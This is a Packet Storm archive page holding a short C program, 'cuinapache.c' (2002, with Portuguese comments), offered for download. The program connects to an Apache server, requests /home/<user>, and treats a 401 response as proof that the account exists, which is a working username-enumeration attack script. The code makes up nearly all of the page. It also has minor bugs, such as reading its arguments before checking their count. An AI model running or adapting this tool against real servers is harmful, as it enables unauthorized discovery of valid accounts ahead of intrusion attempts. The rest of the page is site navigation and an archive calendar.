what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cuinapache.c

cuinapache.c
Posted Sep 10, 2002
Authored by m4rc3l0

ChecaUserinApache - A utility that makes use of the 401 error page in Apache to verify whether or not a user exists on that system.

tags | cgi
systems | unix
SHA-256 | f782346edd5e4475676609957846986e06446f7b0f216ae03da366c69e76a8f8

cuinapache.c

Change Mirror Download
/* ChecaUserinApache (c)oded by m4rc3l0 in 09/2001 *
* *
* Compile com: gcc -o cuinapache cuinapache.c *
* Uso: ./cuinapache <host> <porta> <usuario> *
* Exe: ./cuinapache localhost 80 m4rc3l0 *
* *
* Agrdz: BashX, sinner, seed, decodi, roadhouse, *
* eSc2, m4st, hts, damita, mor_PH_eus, r0ot(brw), *
* #dnh #esfinge #feanor @ BRASNET */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAX 1024
#define ERRO -1
#define VERDE
"\033[32m\033[01m"
#define VERME "\033[0m\033[33m"
#define AZUL "\033[34m\033[01m"
#define NORMAL "\033[0m"

void logo ()
{
printf ("%s:: %sChecaUserinApache (c)oded by m4rc3l0%s\n", VERDE, AZUL, NORMAL);
}


int main (int argc, char *argv[])
{
int MySock, porta, nb;
char enviar[MAX], receber[MAX], *host, *user;
struct in_addr addr;

struct sockaddr_in virtima;

struct hostent *he;


host = argv[1];
porta = atoi (argv[2]);
user = argv[3];

logo ();

if (argc != 4)
{

printf ("%s:: %sUse: %s <host> <porta> <user>%s\n", VERDE, AZUL, argv[0], NORMAL);

printf ("%s:: %sExe: %s localhost 80 m4rc3l0%s\n", VERDE, AZUL, argv[0], NORMAL);
exit (ERRO);

}




if ((he = gethostbyname (argv[1])) == NULL)
{
printf("%s:: %shost error%s\n", VERME, AZUL, NORMAL);

exit(ERRO);

}

MySock = socket (AF_INET, SOCK_STREAM, 0);

bcopy (he->h_addr, (char *)&virtima.sin_addr, he->h_length);

virtima.sin_family = AF_INET;
virtima.sin_port = htons (porta);

printf("%s:: %sTentando conectar em: %s:%d%s\n", VERDE, AZUL, host, porta, NORMAL);


if (connect (MySock, (struct sockaddr *) &virtima, sizeof (virtima)) != 0)
{
printf("%s:: %sconnect error%s\n", VERME, AZUL, NORMAL);

exit (ERRO);

}


else
{

sleep (2);
printf("%s:: %sEnviando requisicao de: %s%s\n", VERDE, AZUL, user, NORMAL);

sprintf (enviar, "GET /home/%s", user);
if(send (MySock, enviar, sizeof(enviar), 0) < 0) {
printf("%s:: %swrite error%s\n", VERME, AZUL, NORMAL);
exit(ERRO);
}

else {
recv(MySock, receber, sizeof(receber), 0);
if(strstr(receber, "401")) {
printf("%s:: %sUsuario: %s achado%s\n", VERDE, AZUL, user, NORMAL);
}
else {
printf("%s:: %sUsuario: %s %sNAO %sachado%s\n", VERDE, AZUL, user, VERME, AZUL, NORMAL);
printf("%s:: %sou este apache nao e vulneravel%s\n", VERDE, AZUL, NORMAL);
}
}
close (MySock);


}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close